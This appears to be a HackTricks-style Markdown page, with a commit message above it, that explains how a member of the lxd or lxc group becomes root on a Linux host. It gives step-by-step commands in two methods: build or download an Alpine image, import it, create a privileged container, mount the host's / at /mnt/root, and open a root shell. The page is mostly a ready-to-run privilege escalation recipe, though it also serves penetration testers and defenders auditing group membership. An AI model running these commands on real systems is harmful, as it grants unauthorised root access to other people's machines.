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"Updating PE method 1 for lxd/lxc Group. > Updates to distrobuilder made that: - 'build-lxd' was remove since version 3.0 - 'build-lxc' outputs are now 'rootfs.tar.xz' and 'meta.tar.xz' which are not (directly?) compatible with 'lxc image import'. - Inport format is compatible with 'build-incus'. > Added link to daily builds of Alpine on Canonical's official repository.
97 lines
3.3 KiB
Markdown
97 lines
3.3 KiB
Markdown
# lxd/lxc Group - Privilege escalation
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{{#include ../../../banners/hacktricks-training.md}}
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If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
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## Exploiting without internet
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### Method 1
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You can download an alpine image to use with lxd from a trusted repository.
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Canonical publishes daily builds in their site: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
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Just grab both **lxd.tar.xz** and **rootfs.squashfs** from the newest build. (Directory name is the date).
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Alternativelly you can install in your machine this distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (follow the instructions of the github):
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```bash
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# Install requirements
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sudo apt update
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sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
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# Clone repo
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mkdir -p $HOME/go/src/github.com/lxc/
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cd $HOME/go/src/github.com/lxc/
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git clone https://github.com/lxc/distrobuilder
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# Make distrobuilder
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cd ./distrobuilder
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make
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# Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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# Create the container - Beware of architecture while compiling locally.
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sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
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```
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Upload the files **incus.tar.xz** (**lxd.tar.xz** if you downloaded from Canonical repository) and **rootfs.squashfs**, add the image to the repo and create a container:
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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# Check the image is there
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lxc image list
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# Create the container
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lxc init alpine privesc -c security.privileged=true
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# List containers
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lxc list
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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> [!CAUTION]
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> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
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> Run **`lxd init`** and set-up all options on default. Then **repeat** the previous chunk of commands
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Finally you can execute the container and get root:
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### Method 2
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Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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```
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{{#include ../../../banners/hacktricks-training.md}}
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